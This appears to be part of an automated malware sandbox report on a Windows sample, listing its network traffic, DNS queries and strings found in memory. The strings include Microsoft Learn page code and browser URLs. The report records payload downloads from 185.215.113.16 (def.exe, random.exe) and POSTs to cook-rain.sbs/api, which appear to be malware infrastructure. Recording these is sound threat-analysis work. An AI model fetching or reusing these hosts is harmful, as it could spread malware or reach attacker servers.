Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.2476355405.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2372349558.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2476098700.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.2476355405.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2372349558.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_129.5.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2250994670.000000000587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_129.5.dr, chromecache_93.5.dr, chromecache_130.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_129.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_129.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_129.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2266159158.0000000001045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2237912950.000000000104E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237813235.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/)))
Source: file.exe, 00000000.00000003.2225681385.000000000102E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2263284741.000000000102F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2252083591.0000000005807000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250727748.0000000005804000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2338618331.0000000005805000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2250527169.000000000102F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250810319.0000000001030000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2251188449.000000000102F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/eg
Source: file.exe, 00000000.00000003.2263284741.000000000102F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/lg
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_129.5.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_129.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_121.5.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_121.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2263248445.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2226324687.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226430670.00000000057A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226257974.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_110.5.dr, chromecache_121.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2252132603.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
